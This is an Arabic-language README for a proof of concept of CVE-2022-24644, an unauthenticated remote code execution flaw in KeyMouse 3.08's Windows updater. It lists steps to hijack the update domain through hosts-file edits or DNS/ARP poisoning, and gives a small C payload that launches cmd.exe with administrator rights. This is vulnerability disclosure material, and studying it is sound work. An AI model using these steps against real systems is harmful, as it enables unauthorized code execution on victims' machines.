CVE-2022-24644

ZZ Inc. KeyMouse 3.08 (ويندوز) ثغرة تنفيذ التعليمات البرمجية عن بُعد غير مصادق عليها عبر التحديث

الاستخدام: python3 cve-2022-24644_poc.py

التفاصيل في التقرير على gerr.re.

خطوات إعادة الإنتاج

1. تثبيت KeyMouse Windows 3.08;
2. تعيين انتحال www.keymouse.com إلى عنوان IP الخاص بالمهاجم;
   • بالنسبة لإثبات المفهوم، من الأسهل تعديل c:\windows\system32\drivers\etc\hosts على الهدف.
     • قد يستخدم المهاجمون مثلاً:
       • أجهزة توجيه/مفاتيح/DNS مهيأة بشكل سيء
       • تسمم ذاكرة التخزين المؤقت DNS
       • تسمم ذاكرة التخزين المؤقت ARP
3. تجميع proof.c على المهاجم، مثلاً باستخدام i686-w64-mingw32-gcc proof.c -o proof.exe;

#include <windows.h>
int main(int argc, char const *argv[]){	
	WinExec("cmd.exe",1);
	return TRUE;
}

4. تشغيل نص إثبات المفهوم على المهاجم;
5. تشغيل KeyMouse على الهدف وتشغيل تحديث:
   • قائمة التطبيق: تعليمات -> التحقق من وجود تحديثات
   • شريط المهام: زر الفأرة الأيمن على أيقونة شريط المهام -> التحقق من التحديثات (أو تثبيت التحديثات)
6. المتابعة مع التحديث.

ونتيجة لذلك، يتم تنفيذ proof.exe في سياق مستخدم المسؤول بدرجة تكامل عالية.